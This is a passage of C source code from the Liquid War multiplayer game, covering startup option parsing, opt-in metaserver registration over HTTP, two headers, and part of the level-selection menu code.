IDENT_NICE "nice" #define IDENT_AUTO "auto" #define IDENT_CHECK "check" #define IDENT_CFG "cfg" #define IDENT_DAT "dat" #define IDENT_MAP "map" #define IDENT_TEX "tex" #define IDENT_MID "mid" #define IDENT_SRV "server" #define IDENT_GEN "mapgen" #define IDENT_METASERVER "metaserver" #define IDENT_CAPTURE "capture" #define IDENT_TOMBOLA "tombola" #define STARTUP_MAX_METASERVER_LENGTH 200 #ifdef DOS int STARTUP_BIG_DATA = 8; #else int STARTUP_BIG_DATA = 16; #endif int STARTUP_DIGI_CARD = DIGI_AUTODETECT; int STARTUP_MIDI_CARD = MIDI_AUTODETECT; int STARTUP_JOYSTICK_ON = 1; int STARTUP_BACK_STATE = 1; int STARTUP_TEXTURE_STATE = 1; int STARTUP_WATER_STATE = 1; int STARTUP_SFX_STATE = 1; int STARTUP_MUSIC_STATE = 1; int STARTUP_CUSTOM_STATE = 1; int STARTUP_ASM = 1; int STARTUP_SVGA = 1; int STARTUP_STOP = 0; int STARTUP_AUTO = 0; int STARTUP_CHECK = 0; int STARTUP_CAPTURE = 0; int STARTUP_TOMBOLA = 0; #ifdef UNIX #ifdef ALLEGRO_MACOSX /* * We test with ALLEGRO_MACOSX and no custom OSX define * for this is still a variant of the UNIX port, only * some paths differ (because of the .app bundle layout) */ static char *DEFAULT_CFG_PATH = CONFIG_UNIX_CFG; static char *DEFAULT_LOG_PATH = ""; static char *DEFAULT_SRV_PATH = "./liquidwar-server"; static char *DEFAULT_GEN_PATH = "./liquidwar-mapgen"; static char *DEFAULT_DAT_PATH = "../Resources/data/liquidwar.dat"; static char *DEFAULT_MAP_PATH = "../Resources/custom/map/"; static char *DEFAULT_TEX_PATH = "../Resources/custom/texture/"; static char *DEFAULT_MID_PATH = "../Resources/custom/music/"; #else static char *DEFAULT_CFG_PATH = CONFIG_UNIX_CFG; static char *DEFAULT_LOG_PATH = ""; static char *DEFAULT_SRV_PATH = CONFIG_UNIX_SRV; static char *DEFAULT_GEN_PATH = CONFIG_UNIX_GEN; static char *DEFAULT_DAT_PATH = CONFIG_UNIX_DAT; static char *DEFAULT_MAP_PATH = CONFIG_UNIX_MAP; static char *DEFAULT_TEX_PATH = CONFIG_UNIX_TEX; static char *DEFAULT_MID_PATH = CONFIG_UNIX_MID; #endif #else #ifdef WIN32 static char *DEFAULT_CFG_PATH = "data/lwwin.cfg"; static char *DEFAULT_LOG_PATH = "data/lwwin.log"; static char *DEFAULT_SRV_PATH = "lwwinsrv.exe"; static char *DEFAULT_GEN_PATH = "lwwinmap.exe"; #endif #ifdef DOS static char *DEFAULT_CFG_PATH = "data/lwdos.cfg"; static char *DEFAULT_LOG_PATH = "data/lwdos.log"; static char *DEFAULT_SRV_PATH = ""; static char *DEFAULT_GEN_PATH = ""; #endif static char *DEFAULT_DAT_PATH = "data/lw.dat"; static char *DEFAULT_MAP_PATH = "custom/map/"; static char *DEFAULT_TEX_PATH = "custom/texture/"; static char *DEFAULT_MID_PATH = "custom/music/"; #endif static char *DEFAULT_METASERVER = LW_SERVER_DEFAULT_METASERVER; char STARTUP_CFG_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_DAT_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_LOG_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_MAP_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_TEX_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_MID_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_SRV_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_GEN_PATH[LW_STARTUP_MAX_PATH_LENGTH]; char STARTUP_METASERVER[STARTUP_MAX_METASERVER_LENGTH]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void set_bigdata_size (void) { int bigd; if (exist_argument_value (IDENT_MEM)) { bigd = get_argument_int (IDENT_MEM); if (bigd < 1) bigd = 1; if (bigd > LW_STARTUP_MEM_MAX) bigd = LW_STARTUP_MEM_MAX; STARTUP_BIG_DATA = bigd; } } /*------------------------------------------------------------------*/ static void set_joystick (void) { if (exist_argument (IDENT_NOJOY)) STARTUP_JOYSTICK_ON = 0; } /*------------------------------------------------------------------*/ static void set_load_states (void) { if (exist_argument (IDENT_NOBACK)) STARTUP_BACK_STATE = 0; if (exist_argument (IDENT_NOTEXTURE)) STARTUP_TEXTURE_STATE = 0; if (exist_argument (IDENT_NOWATER) || exist_argument (IDENT_NOSOUND)) STARTUP_WATER_STATE = 0; if (exist_argument (IDENT_NOSFX) || exist_argument (IDENT_NOSOUND)) STARTUP_SFX_STATE = 0; if (exist_argument (IDENT_NOSOUND) || (exist_argument (IDENT_NOSFX) && exist_argument (IDENT_NOWATER))) STARTUP_DIGI_CARD = DIGI_NONE; if (exist_argument (IDENT_NOMUSIC) || (exist_argument (IDENT_NOSOUND))) { STARTUP_MUSIC_STATE = 0; STARTUP_MIDI_CARD = MIDI_NONE; } if (exist_argument (IDENT_NOCUSTOM)) STARTUP_CUSTOM_STATE = 0; } /*------------------------------------------------------------------*/ static void set_graphic_possibilities (void) { if (exist_argument (IDENT_NOSVGA)) STARTUP_SVGA = 0; } /*------------------------------------------------------------------*/ static void set_c_or_asm (void) { if (exist_argument (IDENT_NOASM)) STARTUP_ASM = 0; } /*------------------------------------------------------------------*/ static void set_stop (void) { if (exist_argument (IDENT_STOP)) STARTUP_STOP = 1; } /*------------------------------------------------------------------*/ static void set_auto_check (void) { if (exist_argument (IDENT_AUTO)) { STARTUP_AUTO = 1; STARTUP_CHECK = 0; } if (exist_argument (IDENT_CHECK)) { STARTUP_AUTO = 0; STARTUP_CHECK = 1; STARTUP_STOP = 1; } } /*------------------------------------------------------------------*/ static void set_safe (void) { if (exist_argument (IDENT_NICE)) { STARTUP_BIG_DATA = 4096; STARTUP_SVGA = 0; } if (exist_argument (IDENT_SAFE)) { STARTUP_JOYSTICK_ON = 0; STARTUP_BIG_DATA = 1024; STARTUP_DIGI_CARD = DIGI_NONE; STARTUP_BACK_STATE = 0; STARTUP_TEXTURE_STATE = 0; STARTUP_WATER_STATE = 0; STARTUP_SFX_STATE = 0; STARTUP_MUSIC_STATE = 0; STARTUP_CUSTOM_STATE = 0; STARTUP_SVGA = 0; } } /*------------------------------------------------------------------*/ static void correct_path_dir (char *path) { int l; char c; l = strlen (path); if (l > 0) { c = path[l - 1]; if (c == '/' || c == '\\') { path[--l] = 0; } } fix_filename_case (path); fix_filename_slashes (path); } /*------------------------------------------------------------------*/ static void correct_path_file (char *path) { fix_filename_case (path); fix_filename_slashes (path); } /*------------------------------------------------------------------*/ static void set_path (void) { char home_path[512]; char *home_env = NULL; if (exist_argument_value (IDENT_CFG)) { LW_MACRO_STRCPY (STARTUP_CFG_PATH, get_argument_str (IDENT_CFG)); } else { #ifdef UNIX home_env = getenv ("HOME"); if (home_env != NULL) { LW_MACRO_SPRINTF1 (home_path, "%s/", home_env); } else { home_env = ""; LW_MACRO_STRCPY (home_path, home_env); } #else home_env = ""; LW_MACRO_STRCPY (home_path, home_env); #endif LW_MACRO_SPRINTF2 (STARTUP_CFG_PATH, "%s%s", home_path, DEFAULT_CFG_PATH); } LW_MACRO_STRCPY (STARTUP_LOG_PATH, DEFAULT_LOG_PATH); if (exist_argument_value (IDENT_DAT)) { LW_MACRO_STRCPY (STARTUP_DAT_PATH, get_argument_str (IDENT_DAT)); } else { LW_MACRO_STRCPY (STARTUP_DAT_PATH, DEFAULT_DAT_PATH); } if (exist_argument_value (IDENT_TEX)) { LW_MACRO_STRCPY (STARTUP_TEX_PATH, get_argument_str (IDENT_TEX)); } else { LW_MACRO_STRCPY (STARTUP_TEX_PATH, DEFAULT_TEX_PATH); } if (exist_argument_value (IDENT_MAP)) { LW_MACRO_STRCPY (STARTUP_MAP_PATH, get_argument_str (IDENT_MAP)); } else { LW_MACRO_STRCPY (STARTUP_MAP_PATH, DEFAULT_MAP_PATH); } if (exist_argument_value (IDENT_MID)) { LW_MACRO_STRCPY (STARTUP_MID_PATH, get_argument_str (IDENT_MID)); } else { LW_MACRO_STRCPY (STARTUP_MID_PATH, DEFAULT_MID_PATH); } if (exist_argument_value (IDENT_SRV)) { LW_MACRO_STRCPY (STARTUP_SRV_PATH, get_argument_str (IDENT_SRV)); } else { LW_MACRO_STRCPY (STARTUP_SRV_PATH, DEFAULT_SRV_PATH); } if (exist_argument_value (IDENT_GEN)) { LW_MACRO_STRCPY (STARTUP_GEN_PATH, get_argument_str (IDENT_GEN)); } else { LW_MACRO_STRCPY (STARTUP_GEN_PATH, DEFAULT_GEN_PATH); } correct_path_file (STARTUP_CFG_PATH); correct_path_file (STARTUP_LOG_PATH); correct_path_file (STARTUP_DAT_PATH); correct_path_dir (STARTUP_TEX_PATH); correct_path_dir (STARTUP_MAP_PATH); correct_path_dir (STARTUP_MID_PATH); correct_path_file (STARTUP_SRV_PATH); correct_path_file (STARTUP_GEN_PATH); } /*------------------------------------------------------------------*/ static void set_metaserver (void) { if (exist_argument_value (IDENT_METASERVER)) { LW_MACRO_STRCPY (STARTUP_METASERVER, get_argument_str (IDENT_METASERVER)); } else { LW_MACRO_STRCPY (STARTUP_METASERVER, DEFAULT_METASERVER); } } /*------------------------------------------------------------------*/ static void set_misc (void) { if (exist_argument (IDENT_CAPTURE)) { STARTUP_CAPTURE = 1; } if (exist_argument (IDENT_TOMBOLA)) { STARTUP_TOMBOLA = 1; } } /*------------------------------------------------------------------*/ static void set_various_hacks (void) { #ifndef ASM /* * important to set it to 0, even if assembly code is not compiled * in, for we want the program to be able to tell others that it * can't do any assembly, in a network game for instance. */ STARTUP_ASM = 0; #endif } /*------------------------------------------------------------------*/ void set_startup (void) { set_joystick (); set_load_states (); set_graphic_possibilities (); set_c_or_asm (); set_path (); set_stop (); set_safe (); set_auto_check (); set_bigdata_size (); set_metaserver (); set_misc (); set_various_hacks (); } liquidwar-5.6.5/src/wwwsrv.c0000664000372000037200000002104213407756104015452 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : wwwsrv.c */ /* content : server code used to contact www.ufoot.org */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "wwwsrv.h" #include "log.h" #include "httputil.h" #include "thrdgen.h" #include "server.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_WWWSRV_HTTP_CONTENT_SIZE 1000 #define LW_WWWSRV_HTTP_URL_SIZE (URL_SIZE + 200 + COMMENT_SIZE * 3) #define LW_WWWSRV_URL_REGISTER "register.txt.php" #define LW_WWWSRV_DELAY 5 #define LW_WWWSRV_OK "OK" /*==================================================================*/ /* static functions */ /*==================================================================*/ static void lw_wwwsrv_callback (void *args); /*==================================================================*/ /* global functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Initializes the data structure */ void lw_wwwsrv_init (LW_WWWSRV_DATA * data, int privacy, int log, char *metaserver, int port, int busy_players, int max_players, char *password, char *comment) { memset (data, 0, sizeof (LW_WWWSRV_DATA)); data->privacy = privacy; data->log = log; strncpy (data->metaserver, metaserver, URL_SIZE); data->port = port; data->busy_players = busy_players; data->max_players = max_players; strncpy (data->password, password, PASSWORD_SIZE); strncpy (data->comment, comment, COMMENT_SIZE); } /*------------------------------------------------------------------*/ /* * Launches a thread which will register itself on the main server * Note that the return value just tells if the thread has been * successfully launched, but one can not use it to know if the * meta server actually registered us. */ int lw_wwwsrv_register (LW_WWWSRV_DATA * data) { int result = 0; if (data->privacy == 1) { /* * privacy is set to 1, so we try and contact the metaserver */ result = lw_thread_start (lw_wwwsrv_callback, (void *) data); } else { /* * privacy is set to 0, we do not tell anyone about this server */ result = 1; } return result; } /*------------------------------------------------------------------*/ /* * Main function of the server thread which tries to connect * on the metaserver */ static void lw_wwwsrv_callback (void *args) { LW_WWWSRV_DATA data; char buffer_content[LW_WWWSRV_HTTP_CONTENT_SIZE]; char buffer_url[LW_WWWSRV_HTTP_URL_SIZE]; char buffer_num[33]; char buffer_comment[COMMENT_SIZE * 3 + 1]; int ok = 0; memcpy (&data, args, sizeof (LW_WWWSRV_DATA)); if (data.log) { log_print_str ("Trying to register on \""); log_print_str (data.metaserver); log_println_str ("\"..."); } memset (&buffer_url, 0, sizeof (buffer_url)); LW_MACRO_SPRINTF3 (buffer_url, "%s%s?protocol=%s&game=" LW_PROGRAM "&version=" LW_VERSION, data.metaserver, LW_WWWSRV_URL_REGISTER, LW_SERVER_METASERVER_PROTOCOL); LW_MACRO_SPRINTF1 (buffer_num, "%d", data.port); LW_MACRO_STRCAT (buffer_url, "&port="); LW_MACRO_STRCAT (buffer_url, buffer_num); LW_MACRO_SPRINTF1 (buffer_num, "%d", data.busy_players); LW_MACRO_STRCAT (buffer_url, "&busy_players="); LW_MACRO_STRCAT (buffer_url, buffer_num); LW_MACRO_SPRINTF1 (buffer_num, "%d", data.max_players); LW_MACRO_STRCAT (buffer_url, "&max_players="); LW_MACRO_STRCAT (buffer_url, buffer_num); LW_MACRO_STRCAT (buffer_url, "&password="); if (strlen (data.password) > 0) { LW_MACRO_STRCAT (buffer_url, "1"); } else { LW_MACRO_STRCAT (buffer_url, "0"); } LW_MACRO_STRCAT (buffer_url, "&comment="); lw_httputil_text_to_urlparam (buffer_comment, data.comment, sizeof (buffer_comment) - 1); LW_MACRO_STRCAT (buffer_url, buffer_comment); if (lw_httputil_get_page (buffer_content, buffer_url, sizeof (buffer_content))) { if (strstr (buffer_content, LW_WWWSRV_OK)) { ok = 1; } else { log_print_str ("Incorrect answer from \""); log_print_str (data.metaserver); log_println_str ("\"!"); } } else { log_println_str (buffer_content); } if (data.log) { if (ok) { log_print_str ("Successfully registered on \""); log_print_str (data.metaserver); log_println_str ("\""); log_flush (); } else { log_print_str ("Unable to register on \""); log_print_str (data.metaserver); log_println_str ("\""); log_flush (); } } } liquidwar-5.6.5/src/spread.h0000664000372000037200000001235713407756104015367 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : spread.h */ /* contenu : etalement du gradient accelere */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SPREAD #define LIQUID_WAR_INCLUDE_SPREAD /*==================================================================*/ /* includes */ /*==================================================================*/ #include "mesh.h" #include "asm.h" /*==================================================================*/ /* types */ /*==================================================================*/ extern void LW_ASM_FUNC boost_gradient_down_2 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_down_3 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_down_4 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_down_5 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_down_6 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_up_2 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_up_3 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_up_4 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_up_5 (MESH * first, int size, int offset); extern void LW_ASM_FUNC boost_gradient_up_6 (MESH * first, int size, int offset); #endif liquidwar-5.6.5/src/texture.h0000664000372000037200000001063413407756104015605 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : texture.h */ /* contenu : lecture des textures en memoire */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_TEXTURE #define LIQUID_WAR_INCLUDE_TEXTURE /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "texture.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ #define LW_TEXTURE_SYSTEM_NAME_SIZE 16 /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void *lw_texture_archive_raw (const char *filename); BITMAP *lw_texture_create_bg (int num); BITMAP *lw_texture_create_fg (int num); char *lw_texture_get_system_name (int num); #endif liquidwar-5.6.5/src/level.c0000664000372000037200000006335713407756104015221 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : level.c */ /* contenu : choix du niveau a jouer */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "level.h" #include "map.h" #include "maptex.h" #include "menu.h" #include "palette.h" #include "sound.h" #include "texture.h" #include "macro.h" #include "lang.h" #include "mutxgen.h" #include "log.h" #include "random.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void palette_128 (DIALOG * d, int x, int y, int w, int h) { int w1, h1, w2, h2, i, j, k; w += 2; h += 2; w1 = w / 10; h1 = h / 13; w2 = w1 - 2; h2 = h1 - 2; for (k = 0; k < 128; ++k) { d[k].proc = d_button_proc; d[k].key = 0; d[k].dp = ""; d[k].w = w2; d[k].h = h2; d[k].fg = MENU_FG; d[k].flags = D_EXIT; d[k].bg = k + 128; } k = 0; for (i = 0; i < 12; ++i) for (j = 0; j < 10; ++j) { d[k].x = x + j * w1; d[k].y = y + i * h1; ++k; } d[k].x = x; d[k].y = y + 12 * h1; d[k].w = 2 * w2 + 2; k++; for (j = 0; j < 6; ++j) { d[k].x = x + (j + 2) * w1; d[k].y = y + 12 * h1; ++k; } d[k].x = x + 8 * w1; d[k].y = y + 12 * h1; d[k].w = 2 * w2 + 2; } /*------------------------------------------------------------------*/ static void retrieve_choose_level_xy (int *x1, int *x2, int *x3, int *x4, int *x5, int *x6, int *x7, int *x8, int *y1, int *y2, int *y3, int *y4, int *y5, int *y6, int *y7, int *y8) { (*x1) = (MENU_VIRTUAL_W - MENU_W_LEVEL * 2 - MENU_H_LEVEL * 2 - MENU_W_SPACE * 2 - MENU_H_SPACE * 2 - MENU_W_SAMPLE) / 2; (*x2) = (*x1) + MENU_H_SPACE + MENU_H_LEVEL; (*x3) = (*x1) + MENU_W_SPACE + MENU_W_LEVEL; (*x4) = (*x3) + MENU_H_LEVEL + MENU_H_SPACE; (*x5) = (*x4) + MENU_H_SPACE + MENU_H_LEVEL; (*x7) = (*x4) + MENU_W_SAMPLE + MENU_W_SPACE; (*x6) = (*x7) - MENU_H_SPACE - MENU_H_LEVEL; (*x8) = (*x7) + MENU_H_LEVEL + MENU_H_SPACE; (*y1) = (MENU_VIRTUAL_H - MENU_H_LEVEL * 4 - MENU_H_SPACE * 4 - MENU_H_SAMPLE) / 2; (*y2) = (*y1) + MENU_H_LEVEL + MENU_H_SPACE; (*y3) = (*y1) + MENU_W_LEVEL + MENU_H_SPACE; (*y4) = (*y1) + MENU_H_SAMPLE - MENU_H_LEVEL; (*y5) = (*y4) + MENU_H_LEVEL + MENU_H_SPACE; (*y6) = (*y5) + MENU_H_LEVEL + MENU_H_SPACE; (*y7) = (*y6) + MENU_H_LEVEL + MENU_H_SPACE; (*y8) = (*y7) + MENU_H_LEVEL + MENU_H_SPACE; } /*------------------------------------------------------------------*/ static void display_chosen_level (void) { int x1, x2, x3, x4, x5, x6, x7, x8; int y1, y2, y3, y4, y5, y6, y7, y8; int sample_x, sample_y, sample_w, sample_h; int max_w, max_h, bmp_w, bmp_h; BITMAP *pour_voir; retrieve_choose_level_xy (&x1, &x2, &x3, &x4, &x5, &x6, &x7, &x8, &y1, &y2, &y3, &y4, &y5, &y6, &y7, &y8); rectfill (screen, menu_real_x (x4), menu_real_y (y1), menu_real_x (x4 + MENU_W_SAMPLE) - 1, menu_real_y (y1 + MENU_H_SAMPLE) - 1, MENU_BG); lw_maptex_set_fg_palette (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); lw_maptex_set_bg_palette (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); my_set_palette (); pour_voir = lw_maptex_create_map (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, 0, LW_RANDOM_ON, MIN_MAP_RES_W[CONFIG_MIN_MAP_RES], MIN_MAP_RES_H[CONFIG_MIN_MAP_RES], CONFIG_USE_DEFAULT_TEXTURE); if (pour_voir) { max_w = menu_real_x (MENU_W_SAMPLE); max_h = menu_real_y (MENU_H_SAMPLE); bmp_w = pour_voir->w; bmp_h = pour_voir->h; if (max_w * bmp_h < max_h * bmp_w) { sample_w = max_w; sample_h = (max_w * bmp_h) / bmp_w; } else { sample_w = (max_h * bmp_w) / bmp_h; sample_h = max_h; } sample_x = menu_real_x (x4) + (max_w - sample_w) / 2; sample_y = menu_real_y (y1) + (max_h - sample_h) / 2; stretch_blit (pour_voir, screen, 0, 0, bmp_w, bmp_h, sample_x, sample_y, sample_w, sample_h); destroy_bitmap (pour_voir); } if (!lw_maptex_is_custom_texture_used (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE)) { rectfill (screen, menu_real_x (x1), menu_real_y (y1), menu_real_x (x1 + MENU_W_LEVEL) - 1, menu_real_y (y1 + MENU_W_LEVEL) - 1, MENU_BG); pour_voir = lw_maptex_create_fg (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); if (pour_voir) { stretch_blit (pour_voir, screen, 0, 0, pour_voir->w, pour_voir->h, menu_real_x (x1), menu_real_x (y1), menu_real_x (MENU_W_LEVEL), menu_real_x (MENU_W_LEVEL)); destroy_bitmap (pour_voir); } } if (!lw_maptex_is_custom_texture_used (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE)) { rectfill (screen, menu_real_x (x8), menu_real_y (y1), menu_real_x (x8 + MENU_W_LEVEL) - 1, menu_real_y (y1 + MENU_W_LEVEL) - 1, MENU_BG); pour_voir = lw_maptex_create_bg (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); if (pour_voir) { stretch_blit (pour_voir, screen, 0, 0, pour_voir->w, pour_voir->h, menu_real_x (x8), menu_real_x (y1), menu_real_x (MENU_W_LEVEL), menu_real_x (MENU_W_LEVEL)); destroy_bitmap (pour_voir); } } } /*------------------------------------------------------------------*/ static void set_dialog_visibility (DIALOG * d, int state) { if (state) { d->flags &= ~D_HIDDEN; } else { d->flags |= D_HIDDEN; } if (!(d->flags & D_HIDDEN)) { d->proc (MSG_DRAW, d, 0); } } /*------------------------------------------------------------------*/ static void set_fg_dialogs_visibility (DIALOG * d, int *just_hidden) { int state; static int last_state = 1; int i; state = !lw_maptex_is_custom_texture_used (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); if (state == 0 && last_state != 0) { *just_hidden = 1; } last_state = state; set_dialog_visibility (d + 5, state); set_dialog_visibility (d + 9, state); set_dialog_visibility (d + 10, state); set_dialog_visibility (d + 14, state); for (i = 21; i < 149; ++i) { set_dialog_visibility (d + i, state); } } /*------------------------------------------------------------------*/ static void set_bg_dialogs_visibility (DIALOG * d, int *just_hidden) { int state; static int last_state = 1; int i; state = !lw_maptex_is_custom_texture_used (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, 0, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); if (state == 0 && last_state != 0) { *just_hidden = 1; } last_state = state; set_dialog_visibility (d + 6, state); set_dialog_visibility (d + 11, state); set_dialog_visibility (d + 12, state); set_dialog_visibility (d + 15, state); for (i = 149; i < 277; ++i) { set_dialog_visibility (d + i, state); } } /*------------------------------------------------------------------*/ static void box_for_choose_map (void) { DIALOG d[10]; DIALOG_PLAYER *dp; int i; int x1, x2, x3, x4, x5, x6, x7, x8; int y1, y2, y3, y4, y5, y6, y7, y8; memset (d, 0, sizeof (d)); retrieve_choose_level_xy (&x1, &x2, &x3, &x4, &x5, &x6, &x7, &x8, &y1, &y2, &y3, &y4, &y5, &y6, &y7, &y8); d[0].x = x4; d[0].y = y1; d[0].w = MENU_W_SAMPLE; d[0].h = MENU_H_SAMPLE; d[1].x = x1; d[1].y = y1; d[1].w = MENU_W_LEVEL; d[1].h = MENU_W_LEVEL; d[2].x = x8; d[2].y = y1; d[2].w = MENU_W_LEVEL; d[2].h = MENU_W_LEVEL; d[3].x = x8; d[3].y = y5; d[3].w = 